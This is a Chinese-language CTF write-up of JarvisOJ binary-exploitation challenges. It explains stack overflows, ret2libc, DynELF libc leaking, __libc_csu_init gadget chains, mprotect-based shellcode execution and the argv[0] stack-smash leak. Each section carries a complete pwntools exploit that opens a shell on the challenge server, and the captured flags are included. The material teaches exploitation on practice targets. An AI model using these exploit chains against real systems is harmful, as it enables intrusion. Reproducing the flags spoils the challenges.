JarvisOJ-PWN-Writeup专题

15-49-43.jpg

引言

最近学二进制有点入魔,最近才有时间把最近写的JarvisOJ上一些Pwn题WP和得到的经验总结在此
不定期更新

level 0

很直接地给出了漏洞函数vulnerable_function()以及要溢出跳转到的函数callsystem()其中callsystem()地址为0x400596
read读入512字节但是buf只有0x80大小,很明显的栈溢出构造ROP劫持控制流到callsystem()执行

1
2
3
4
5
ssize_t vulnerable_function()
{
char buf; // [sp+0h] [bp-80h]@1
return read(0, &buf, 512uLL);
}

查看栈结构很容易得知溢出长度是0x80+0x8=0x88
18-12-02.jpg
然后劫持到callsystem()的地址0x400596即可
poc:

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
pro = remote("pwn2.jarvisoj.com", 9881)
def respone(recv_buf,send_buf,new_line=True):
pro.recvuntil(recv_buf)
if new_line:
pro.sendline(send_buf)
else:
pro.send(send_buf)
payload = "A"*0x88
payload += p64(0x400596)
respone("World\n",payload)
pro.interactive()

Flag: CTF{713ca3944e92180e0ef03171981dcd41}

level 1

如level0一样,给出漏洞函数

1
2
3
4
5
6
ssize_t vulnerable_function()
{
char buf; // [sp+0h] [bp-88h]@1
printf("What's this:%p?\n", &buf);
return read(0, &buf, 0x100u);
}

很明显地栈溢出以及提示你栈地址在哪,然后checksec查看保护,NX(堆栈不可执行)保护没开,那很显然思路就是将shellCode写入栈,然后ROP控制指针跳回栈地址执行shellCode
poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
#pro = process("./level1")
pro = remote("pwn2.jarvisoj.com", 9877)
context.log_level = 'debug'
def respone(recv_buf,send_buf,new_line=True):
pro.recvuntil(recv_buf)
if new_line:
pro.sendline(send_buf)
else:
pro.send(send_buf)
address = pro.recvuntil('?')[-11:-1]
#print address
address = int(address,16)
print hex(address)
payload = asm(shellcraft.sh()).ljust(140,'\x00')
payload += p64(address)
pro.sendline(payload)
pro.interactive()

Flag:CTF{82c2aa534a9dede9c3a0045d0fec8617}

level 2

同样给出漏洞函数,其中包含system函数(地址0x804845C)和栈溢出,还给了一个hint——/bin/sh字符串。

1
2
3
4
5
6
ssize_t vulnerable_function()
{
char buf; // [sp+0h] [bp-88h]@1
system("echo Input:");
return read(0, &buf, 0x100u);
}

思路也就很明了了,栈溢出ROP到system地址,且追加/bin/sh地址进栈,作为system的参数
poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
#pro = process("./level2")
pro = remote("pwn2.jarvisoj.com", 9878)
context.log_level = 'debug'
def respone(recv_buf,send_buf,new_line=True):
pro.recvuntil(recv_buf)
if new_line:
pro.sendline(send_buf)
else:
pro.send(send_buf)
bin_sh_addr = 0x804A024
payload = "A"*0x88
payload += "\x00"*4
payload += p32(0x804845C)
payload += p32(bin_sh_addr)
respone("Input:\n",payload)
pro.interactive()

FLag: CTF{1759d0cbd854c54ffa886cd9df3a3d52}

level 3

这次给了libc
老套路,还是给出了漏洞函数,只有栈溢出和write函数

1
2
3
4
5
6
ssize_t vulnerable_function()
{
char buf; // [sp+0h] [bp-88h]@1
write(1, "Input:\n", 7u);
return read(0, &buf, 0x100u);
}

这次给出了libc,思路也很明显。

  1. write函数泄露出write的真实内存地址(通过泄露got表中对应的write条目实现)
  2. 然后利用write函数真实内存地址减去给的libcwrite函数的偏移得到imageBase
  3. 最后imageBase加上libcsystem的偏移就是真实内存地址了,/bin/sh地址同理。
  4. 构造ROP执行system
    详细控制过程看poc注释
    poc:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    from pwn import *
    #pro = process("./level3")
    pro = remote("pwn2.jarvisoj.com", 9879)
    context.log_level = 'debug'
    libc = ELF("./libc-2.19.so")
    elf = ELF("./level3")
    def respone(recv_buf,send_buf,new_line=True):
    pro.recvuntil(recv_buf)
    if new_line:
    pro.sendline(send_buf)
    else:
    pro.send(send_buf)
    payload = "A"*0x88
    payload += "\x00\x00\x00\x00"
    payload += p32(elf.plt['write'])#跳到write plt执行write函数
    payload +=p32(0x8048495)#执行完write之后的返回地址,此处为vulnerable_function()地址
    payload +=p32(1)#arg1
    payload +=p32(elf.got['write'])#arg2
    payload +=p32(4)#arg3
    #得到write的真实内存地址
    respone("Input:\n",payload)
    write_addr = u32(pro.recv(4))
    #通过libc中函数之前偏移,计算system地址和字符串"/bin/sh"地址
    log.info("write_addr:%s",hex(write_addr))
    imageBase = write_addr - libc.symbols['write']#得到libc内存加载基址
    log.info("imageBase:%s",hex(imageBase))
    system_addr = imageBase + libc.symbols['system']#计算system真实地址
    bin_sh_addr = imageBase + next(libc.search('/bin/sh'))#计算/bin/sh真实地址
    log.info("system_addr:%s",hex(system_addr))
    log.info("bin_sh_addr:%s",hex(bin_sh_addr))
    payload = "A"*0x88
    payload += "\x00\x00\x00\x00"
    payload += p32(system_addr)#劫持到system地址
    payload += p32(0xf)#随便给个调用完system后的返回地址
    payload +=p32(bin_sh_addr)#arg1
    respone("Input:\n",payload)#再次溢出
    pro.interactive()

Flag: CTF{d85346df5770f56f69025bc3f5f1d3d0}

level 4

一样给出存在溢出漏洞的函数,但是没有给libc和其他任何提示
plt中存在readwrite函数

19-30-17.jpg
1
2
3
4
5
ssize_t vulnerable_function()
{
char buf; // [sp+0h] [bp-88h]@1
return read(0, &buf, 0x100u);
}

既然这样,我们只能在无libc的情况下的ROP
我们有两个选择

  1. 利用write函数泄露内存,加上pwntools中的DynELF函数遍历got表,猜解lic版本和system函数及”/bin/sh”字符串的位置,然后ROP起shell
  2. 利用read函数将”/bin/sh”字符串写入可写位置,然后利用read函数中的syscall起shell

解释一下两个方法的原理:

方法一

write函数泄露指定地址内存这个就不说了,上面的题目都有,最主要解释一下pwntools中的DynELF函数的原理
pwntools中的DynELF是利用可循环利用的泄露内存函数去遍历获取程序got表中的所有函数的真实内存地址,然后通过地址低12位猜测是哪个版本的libc,如果找得到对应版本就用内存地址减去对应函数偏移得到libc加载的基地址,匹配不到就GG

方法二

read函数写入指定可写地址原理也不提了,read中的syscall是重点
这是我最近做了几次类似的题才领悟的,起初看别的大佬wp并不明白为啥是这样。在libc的read函数中,一般会在<read+14>的位置存在一个syscall调用。猜测可能是大部分或者部分libc的通用代码,所以才造就了这个固定的位置存在syscall调用。所以我们只要泄露了read函数的真实内存地址,加上固定偏移0xe就能得到syscall的真实内存地址,即使开了ASLR,也不会改变低位的地址,所以这个方法也同样适用。然后就是正常的ROP,用gadget控制传入参数,然后跳到syscall地址就好了
32位程序需要将eax=0xb,ebx=”/bin/sh”字符串地址,ecx=0,edx=0,然后调用syscall
64位则需要将rdi=”/bin/sh”字符串地址,rsi=0,rdx=0,,然后同样调用syscall
我则采用方法一写的poc(因为方法二的成功率看起来并不是很高,在没有办法的时候可采用)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
#pro = process("./level4")
pro = remote("pwn2.jarvisoj.com", 9880)
#context.log_level = 'debug'
elf = ELF("./level4")
def respone(recv_buf,send_buf,new_line=True):
pro.recvuntil(recv_buf)
if new_line:
pro.sendline(send_buf)
else:
pro.send(send_buf)
#泄露内存函数
def leak(address):
payload = "A"*0x88
payload += "\x00\x00\x00\x00"
payload += p32(elf.plt['write'])
payload +=p32(0x0804844B) #return read Address,回到vulnerable_function
payload +=p32(1)#arg1
payload +=p32(address)#arg2
payload +=p32(4)#arg3
pro.sendline(payload)
data = pro.recv(4)
return data
d = DynELF(leak,elf=ELF("./level4"))
system_addr = d.lookup("system","libc")
log.info(hex(system_addr))
data_bin_sh_addr = 0x804a01c
pop_3_ret_addr = 0x8048509
payload = "A"*0x88
payload += "\x00\x00\x00\x00"
payload += p32(elf.plt['read'])
payload +=p32(pop_3_ret_addr) #32位程序需要堆栈平衡,不然read的三个参数会一直留在栈上
payload +=p32(0)
payload +=p32(data_bin_sh_addr)
payload +=p32(8)
#堆栈平衡后继续劫持到system_addr
payload += p32(system_addr)
payload +=p32(0xf)#随便一个返回地址
payload +=p32(data_bin_sh_addr)#/bin/sh字符串地址
pro.sendline(payload)
pro.sendline('/bin/sh\x00')
pro.interactive()

注意到leak函数并没有进行堆栈平衡,leak的执行会让栈空间一直往低地址增长,一次多三个参数。更好的payload应该是要做堆栈平衡,以免leak函数执行次数过多,造成不可预知意外
Flag: CTF{882130cf51d65fb705440b218e94e98e}

level 5

这次换成了64位的程序,和接下来的level3 x64的附件是一样的,包括程序和libc
这次仍然给出了一个具有栈溢出漏洞的函数,但是题目要求假设systemexecve被禁用,利用mprotectmmap来解决

1
2
3
4
5
6
ssize_t vulnerable_function()
{
char buf; // [sp+0h] [bp-80h]@1
write(1, "Input:\n", 7uLL);
return read(0, &buf, 0x200uLL);
}

先来了解一下mprotectmmap函数

mprotect

1
int mprotect(const void *start, size_t len, int prot);

在Linux中,mprotect()函数可以用来修改一段指定内存区域的保护属性。
mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值,就是常见的0x111对应执行,写,读权限

需要注意的是第一个参数——起始地址`start`必须是内存对齐的地址,且第二参数`len`也是内存对齐Align的整数倍。linux64bit默认内存对齐长度是0x1000(4096),32bit则是0x400(1024)。一开始没注意到这个,浪费了不少时间。

mmap

1
void *mmap( void *start , size_t length , int prot , int flags , int fd , off_t offsize)

参数start:

  • 指向欲映像的内存起始地址,通常设为NULL,代表让系统自动标明地址,映像成功后返回该地址。

参数length:

  • 代表将文件中多大的部分映像到内存。

参数prot:映像区域的保护方式。可以为以下几种方式的组合:

  • PROT_EXEC映像区域可被执行
  • PROT_READ映像区域可被读取
  • PROT_WRITE映像区域可被写入
  • PROT_NONE映像区域不能存取

参数flags:影响映像区域的各种特性。在调用mmap()时必须要指定MAP_SHARED或MAP_PRIVATE。

  • MAP_FIXED:如果参数start所指的地址无法成功建立映像时,则放弃映像,不对地址做修正。通常不鼓励用此旗标。
  • MAP_SHARED:对映像区域的写入数据会复制回文件内,而且允许其他映像该文件的进程共享,原来的文件会改变。
  • MAP_PRIVATE:对映像区域的写入操作会产生一个映像文件的复制,即私人的“写入时复制”(copy on write)对此区域作的任何修改都不会写回原来的文件内容。当共享的对象的虚拟存储区域为私有对象时,修改只会被本进程中改变。(学的操作系统终于派上用场了)
  • MAP_ANONYMOUS:建立匿名映像。此时会忽略参数fd,不涉及文件,而且映像区域无法和其他进程共享。
  • MAP_DENYWRITE:只允许对映像区域的写入操作,其他对文件直接写入的操作将会被拒绝。
  • MAP_LOCKED:将映像区域锁定住,这表示该区域不会被置换(swap)。
    参数fd:
  • 要映像到内存中的文件描述符。如果使用匿名内存映像时,即flags中设置了MAP_ANONYMOUS,fd设为-1。有些系统不支持匿名内存映像,则可以使用fopen打开/dev/zero文件,然后对该文件进行映像,可以同样达到匿名内存映像的效果。
    参数offset:
  • 文件映像的偏移量,通常设置为0,代表从文件最前方开始对应,offset必须是分页大小的整数倍。

返回值:

  • 若映像成功则返回映像区的内存起始地址,否则返回MAP_FAILED(-1),错误原因存于errno中。

上一张图说明mmap的具体作用是什么:

14-43-47.jpg

现在我们可以知道,mmap的作用就是将文件态的部分映射到程序的虚拟空间中(程序虚拟空间指的是程序可见的地址,包括已分配和可以被分配的两部分内存,即我们操作系统里面所说的程序可占有4G大小的虚拟内存),然后通过设mmap的参数flagsport就可以控制映射到虚拟空间中的内存的执行、读写权限以及是否修改源文件,是否共享或者私有(用到咱们学的copy-on-write技术,即写时拷贝,每个程序试图修改时才会产生一个拷贝副本),是否锁定(不允许页置换)等属性。还不理解可以结合in nek大佬在知乎上对mmap函数的解释来理解。知乎- Linux 中 mmap() 函数的内存映射问题理解?-in nek 的回答
总得来说,mmap对于我们的作用就是在程序虚拟空间产生一段可读写、可执行的内存段,对于是哪个文件映射过来我们并不关心,但是为了避免我们在内存段中写入ShellCode回写至被映射的文件而产生莫名的错误,我建议选择MAP_PRIVATE即修改时会产生一个内存副本,而不会修改被映射的文件内容。而第五个参数是被映射文件的文件描述符fd,我们知道平常我们得到的文件描述符是由fopen这类函数的返回值得到的,默认的0是stdin,1是stdout。由于我们并不想知道也并不关心哪个文件或者区域被映射到内存中所以我建议使用匿名映射–MAP_ANONYMOUS。如上秒描述的一样,当MAP_ANONYMOUS时,文件描述符fd会被置为-1被无视掉,更为贴切我们不在乎谁被映射的要求。
先写一个C程序把flags属性对应的值输出来看一下
14-39-45.jpg
接下来我们就是要构造这样的函数调用

1
2
3
4
//原型
void *mmap( void *start , size_t length , int prot , int flags , int fd , off_t offsize)
//构造函数调用
mmap(segment_addr , 0x1000 , 0x111 ,32+2 ,-1 , 0 )

但是最主要的问题是mmap需要6个参数,而这个程序是64bit的。所以很难找到这样的一个gadget能够控制rdi rsi rdx rcx r8 r9这六个寄存器的。所以我们采用参数更少的mprotect函数
PS :当然,寻找控制6个参数的gadget的方法是存在的,可利用的是_dl_runtime_resolve函数。详见蒸米的文章一步一步学ROP之gadgets和2free篇 - 蒸米。32bit的程序则不存在这种问题。
函数_dl_runtime_resolve在这题的链接库ld.2.19.so版本中是存在的,而在我本地是ld.2.26.so,并不存在_dl_runtime_resolve,取而代之的是_dl_runtime_resolve_avx_slow,所以这个gadget还受目标系统so文件版本的影响。故不推荐在64bit程序下使用mmap函数
ld.2.19.so下载地址: https://opensuse.pkgs.org/42.1/opensuse-update-oss/glibc-2.19-22.1.x86_64.rpm.html


思路

  1. 利用write函数泄露内存地址,配合DynELF寻找libc加载基址
  2. 通过基址和偏移,计算出mprotectread函数的地址
  3. 通过mprotect函数将程序bss段变成可执行可写入可读取状态
  4. 通过read函数将shellCode写入bss段
  5. ROP劫持控制流跳到bss段执行shellCode

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *
libc = ELF("./libc-2.19.so")
pro = remote("pwn2.jarvisoj.com", 9884)
#context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF("./level3_x64")
def respone(recv_buf,send_buf,new_line=True):
pro.recvuntil(recv_buf)
if new_line:
pro.sendline(send_buf)
else:
pro.send(send_buf)
rdi_ret_addr = 0x4006b3
vulnerable_addr = 0x40062E
data_addr = elf.bss()
#__libc_csu_init 通用gadget
init_gadget1 = 0x4006AA
init_gadget2 = 0x400690
#__libc_csu_init 通用gadget构造一个可循环利用的call函数,前提是需要知道got地址,且got地址对应的数据是真实内存地址
#看不懂为什么这么构造的可以看我上一篇文章《百度杯11月pwnme》倒数第二段代码处的注释解释有__libc_csu_init 通用gadget的利用
def _call(func_got,arg1,arg2,arg3,returnData=False):
Data = ""
payload = "A"*0x88
payload += p64(init_gadget1)+p64(0)+p64(1)+p64(func_got)+p64(arg3)+p64(arg2)+p64(arg1)
payload += p64(init_gadget2)+p64(0x1)*7
payload += p64(vulnerable_addr)
respone("Input:\n",payload)
if returnData:
Data = u64(pro.recv(8))
return Data
read_addr = _call(elf.got['write'],1,elf.got['read'],8,True)#读出read的真实内存地址
log.info('read_addr:%s',hex(read_addr))
imageBase = read_addr - libc.symbols['read']#计算imageBase
mprotect_addr = imageBase + libc.symbols['mprotect']#mprotect内存地址
shell = asm(shellcraft.amd64.sh())#利用pwntools的shellcraft生成64位shellcode
log.info('Writing Shell Code....')
_call(elf.got['read'],0,data_addr,len(shell))#调用read函数将ShellCode写入bss段
pro.send(shell)
log.info('Done!')
log.info('Hijacking __libc_start_main Address....')
_call(elf.got['read'],0,elf.got['__libc_start_main'],8)#修改__libc_start_main的got表地址成为我们mprotect地址
pro.send(p64(mprotect_addr))
log.info('Done!')
log.info('Calling mprotect....')
_call(elf.got['__libc_start_main'],0x00600000,0x1000,7)#调用__libc_start_main函数,其实是调用mprotect函数,修改内存段成为可读写可执行的权限
log.info('Done!')
log.info('Geting shell...')
payload = "A"*0x88
payload += p64(data_addr)#调用ShellCode
respone("Input:\n",payload)
pro.interactive()

Flag : CTF{9c3a234bd804292b153e7a1c25da648c}

level 6

正在努力学习堆利用,待我学成之日。。。再另开一片文章详细解释对利用以及补充此题

level 2 x64

与32位的level2一致,给了system函数以及/bin/sh字符串。
由于32位是栈上传参和64位是先由寄存器rdi,rsi,rdx,rcx,r8,r9传递前6位参数,再多的参数就丢栈上传递
所以我们需要找到一些gadget帮助我们传递/bin/shrdi
之前的文章已经教了如何寻找gadget,此处我们直接用ROPgadget工具寻找

00-38-15.jpg

万事俱备,poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
#pro = process("./level2_x64")
pro = remote("pwn2.jarvisoj.com", 9882)
context.log_level = 'debug'
elf = ELF("./level2_x64")
def respone(recv_buf,send_buf,new_line=True):
pro.recvuntil(recv_buf)
if new_line:
pro.sendline(send_buf)
else:
pro.send(send_buf)
pop_rdi_ret_addr = 0x4006b3
bin_sh_addr = 0x600A90
system_addr = 0x40063E
payload = "A"*0x88
payload += p64(pop_rdi_ret_addr)+p64(bin_sh_addr)
payload += p64(system_addr)
respone("Input:\n",payload)
pro.interactive()

Flag: CTF{081ecc7c8d658409eb43358dcc1cf446}

level 3 x64

与32位的level3也差不多,给了libc,给了溢出点,然后思路还是一样,就是要寻找gadget这点不同

  1. write函数泄露出write的真实内存地址(通过泄露got表中对应的write条目实现)
  2. 然后利用write函数真实内存地址减去给的libcwrite函数的偏移得到imageBase
  3. 最后imageBase加上libcsystem的偏移就是真实内存地址了,/bin/sh地址同理。
  4. 构造ROP执行system
    本题我使用的是通用gadget函数_libc_csu_init(),该函数是用gcc编译的时候自带的,所以很通用。如何利用_libc_csu_init()函数构造ROP上文以及上一篇文章已经说过了,就不再赘述了

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
#pro = process("./level3_x64")
libc = ELF("./libc-2.19.so")
pro = remote("pwn2.jarvisoj.com", 9883)
context.log_level = 'debug'
elf = ELF("./level3_x64")
def respone(recv_buf,send_buf,new_line=True):
pro.recvuntil(recv_buf)
if new_line:
pro.sendline(send_buf)
else:
pro.send(send_buf)
rdi_ret_addr = 0x4006b3
vulnerable_addr = 0x40062E
init_gadget1 = 0x4006AA
init_gadget2 = 0x400690
payload = "A"*0x88
payload += p64(init_gadget1)+p64(0)+p64(1)+p64(elf.got['write'])+p64(8)+p64(elf.got['write'])+p64(1)#调用write泄露write真是内存地址
payload += p64(init_gadget2)+p64(0x1)*7
payload += p64(vulnerable_addr)#重新回到漏洞函数处
respone("Input:\n",payload)
data = u64(pro.recv(8))
#计算基址以及函数地址
imageBase = data - libc.symbols['write']
system_addr = imageBase + libc.symbols['system']
bin_sh_addr = imageBase + next(libc.search('/bin/sh'))
#起shell
payload = "A"*0x88
payload += p64(rdi_ret_addr)+p64(bin_sh_addr)+p64(system_addr)
respone("Input:\n",payload)
pro.interactive()

Flag: CTF{b1aeaa97fdcc4122533290b73765e4fd}

Test Your Memory

直接上IDA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __cdecl mem_test(char *s2)
{
int result; // eax@2
char s; // [sp+15h] [bp-13h]@1
memset(&s, 0, 11u);
puts("\nwhat???? : ");
printf("0x%x \n", hint);
puts("cff flag go go go ...\n");
printf("> ");
__isoc99_scanf("%s", &s);//溢出点
if ( !strncmp(&s, s2, 4u) )
result = puts("good job!!\n");
else
result = puts("cff flag is failed!!\n");
return result;
}

问题出在mem_test()函数的scanf上,查看栈结构很容易知道溢出填充长度为23
此外还有一个win_func()函数和一个catFlag只读数据

00-56-31.jpg
1
2
3
4
int __cdecl win_func(char *command)
{
return system(command);
}

所以思路就很简单了。
溢出跳过win_func(),然后栈上传个catFlag就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
#pro = process("./memory")
pro = remote("pwn2.jarvisoj.com", 9876)
context.log_level = 'debug'
def respone(recv_buf,send_buf,new_line=True):
pro.recvuntil(recv_buf)
if new_line:
pro.sendline(send_buf)
else:
pro.send(send_buf)
payload = "A"*23
payload +=p32(0x80485BD)
payload +=p32(0x80487E0)+p32(0x80487E0)
respone("> ",payload)
pro.interactive()

Flag: CTF{332e294fb7aeeaf0e1c7703a29304343}

Tell me something

很简单的一题,一个溢出点一个cat Flag函数,不赘述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
#pro = process("./guestbook")
pro = remote("pwn.jarvisoj.com", 9876)
context.log_level = 'debug'
def respone(recv_buf,send_buf,new_line=True):
pro.recvuntil(recv_buf)
if new_line:
pro.sendline(send_buf)
else:
pro.send(send_buf)
payload = "A"*136
payload += p64(0x400620)
respone("Input your message:\n",payload)
print pro.recv(500)

Flag: PCTF{This_is_J4st_Begin}

Smashes

首先分析一下程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rax@1
__int64 v4; // rbx@2
int v5; // eax@3
__int64 v8; // [sp+0h] [bp-128h]@1
__int64 v9; // [sp+108h] [bp-20h]@1
v9 = *MK_FP(__FS__, 40LL);
__printf_chk(1LL, 0x400934LL); // print "Hello!\nWhat's your name?"
LODWORD(v3) = _IO_gets(&v8); // Read
if ( !v3 )
LABEL_9:
_exit(1);
v4 = 0LL;
__printf_chk(1LL, 0x400960LL); // print Your name what you just input
while ( 1 ) // 读取输入,覆盖flag
{
v5 = _IO_getc(stdin);
if ( v5 == -1 )
goto LABEL_9;
if ( v5 == '\n' )
break;
byte_600D20[v4++] = v5;
if ( v4 == 32 )
goto LABEL_8;
}
memset((void *)((signed int)v4 + 0x600D20LL), 0, (unsigned int)(32 - v4));// 将flag清零
LABEL_8:
puts("Thank you, bye!");
return *MK_FP(__FS__, 40LL) ^ v9;
}

在程序data段的末尾0x600D20处有一句提示PCTF{Here',27h,'s the flag on server},提示我们flag就在此处,需要我们想办法获得,而程序后面会将flag置零

19-37-38.jpg

这题看似简单,但是需要知道两个知识点才能解决

  1. Canary保护机制
  2. ELF文件段加载或者说内存映射关系

Canary保护机制

对于linux下的程序保护机制,我的上篇文章也有提及Canary保护。
Canary,金丝雀。据说是以前矿工用金丝雀来确定地下气体是否有毒或者是否适合工作。。。但是这个名字的由来很好地跟我们解释了这个Canary的作用
Canary位置如图:

19-07-05.jpg

Canary是随机生成的一段数据。当我们想栈溢出的时候,填充的数据就会破坏Canary,当程序Return的时候就会检查Canary是否被破坏。如果被破坏了就会调用___stack_chk_fail中断程序,从而达到保护程序控制流不被修改的目的。而函数的原型如下:

1
2
3
4
5
6
7
8
9
10
11
12
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
//神奇的注释
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>");
}

大致意思就是会输入一段文字提示你程序炸了,然后这段文字里面包含一个我们感兴趣的参数__libc_argv[0],这个是啥意思呢
咱们写C程序的main函数的时候完整写法应该是这样的:

1
int main(int argc, const char **argv, const char **envp)

第一个argc参数是指你传入到main参数的个数,第二个参数argv,是一个指针的指针,类似于二维数组,其实可以理解为就是一个字符串数组argv[0]是程序路径,argv[1]起对应的是咱们传进main函数的一个个参数
argv[0]是存储在栈上的,所以我们可以将argv[0]的地址换成我们想要的地址,如flag地址,然后程序就会输出我们想要的内容了
但是话又说回来,虽然我们可以输出任意地址的字符串,但是我们的flag是被覆盖了啊。俗话说巧妇难为无米之炊。但是我们可以通过linux下elf文件加载进内存的一些特性来实现我们的构想

ELF文件段加载或者说内存映射关系

参考CTF-Wiki - 程序加载
文中有如下一段话:
01-30-40.jpg01-33-07.jpg

在这个例子中,尽管代码段和数据段在模4KB的意义下相等,但是仍然最多有4个页面包含有不纯的代码或者数据。当然,实际中会取决于页大小或者文件系统的块大小。

  • 代码段的第一个页包含了ELF头,程序头部表,以及其他信息。
  • 代码段的最后一页包含了数据段开始部分的副本。
  • 数据段的第一页包含了代码段的最后部分的副本。至于多少,暂未说明。
  • 数据段的最后一部分可能会包含与程序运行无关的信息。

逻辑上说,系统会对强制控制内存的权限,就好比每一个段的权限都是完全独立的;段的地址会被调整,以便于确保内存中的每一个逻辑页都只有一组类型的权限。在上面给出的例子中,文件的代码段的最后一部分和数据段的开始部分都会被映射两次:分别在数据段的虚拟地址以及代码段的虚拟地址。
然后文件在内存中就会映射成这样子:

01-40-31.jpg

很清楚地看到,以4KB大小分割(linux64bit的默认页大小是0x1000Bytes)文件状态下的数据(代码也是数据),段与段之间会有重叠部分,而系统索性全部映射过来,所以代码段的最后一页包含了数据段开始部分的副本,而数据段的第一页包含了代码段的最后部分的副本。(如图)
由于我们的文件很小,且通过readelf查看段的文件偏移全部小于0x1000
01-48-06.jpg
且前面几段映射的基址是0x400000,到后面的.init_array段的映射基址是0x600000故我们有理由断定,在内存里面会存在两份.data段和.bss段(其实其他段也会被映射两次)
01-48-43.jpg
接下来我们实际演示一下用gdb下断点调试,然后找.rodata段里面的数据在内存里面的位置来验证我们的猜想
01-53-18.jpg
首先随便下个断点,让程序装载就好了
然后我们寻找.rodata段里面的数据"Thank you, bye!"
01-57-08.jpg
果不其然,位于地址0x40094E的数据 "Thank you, bye!"在内存里面被映射了两次。
既然我们猜想实现,那么我们来尝试寻找在.data段里面的PCTF{
这次我们把断点定在0x40080B处,为的是不让下面的函数将PCTF{破坏掉
02-01-54.jpg
同样的,我们在内存中(或者说是程序虚拟空间中)找到了两处PCTF{的映射
所以就算地址0x600D20处的flag被破坏,我们也能在另外一处即地址0x400D20找到一模一样的flag备份
那么结合我们上面说的用溢出点覆盖栈上的字符串地址argv[0],然后利Canary被破坏的机制触发___stack_chk_fail函数将flag输出出来
我们首先得找一下溢出点到argv[0]的偏移
我们的溢出点,很容易发现在黄色高亮的代码处
02-07-36.jpg
然后我们设置两个断点,一个是在0x4007E0main函数刚开始的传参完毕的地方,第二个是我们溢出点后0x400813
首先我们用gdb运行程序来到了第一个断点0x4007E0
02-19-41.jpg
可以看到char ** argv的值在栈地址0x7fffffffdfa8处,而真正的字符串数组地址是0x7fffffffe078
然后我们在”name?”后面随便输入了个字符串”test”,然后来到第二个断点
02-28-03.jpg
得到我们溢出buff的地址在0x7fffffffde60
所以我们将地址一相减就会得到数据填充偏移0x7fffffffde60-0x7fffffffe078=536
所以我们这样构造poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
#pro = process("./smashes")
pro = remote("pwn.jarvisoj.com", 9877)
context.log_level = 'debug'
def respone(recv_buf,send_buf,new_line=True):
pro.recvuntil(recv_buf)
if new_line:
pro.sendline(send_buf)
else:
pro.send(send_buf)
payload = "A"*536
payload += p64(0x400d20)
respone("name?",payload)
respone("flag:","What ever you want")
pro.interactive()

简短的几句,然后就大功告成了。虽然代码很短,但是里面包含着很多知识点
02-33-51.jpg
Flag: PCTF{57dErr_Smasher_good_work!}



----- 感谢阅读 -----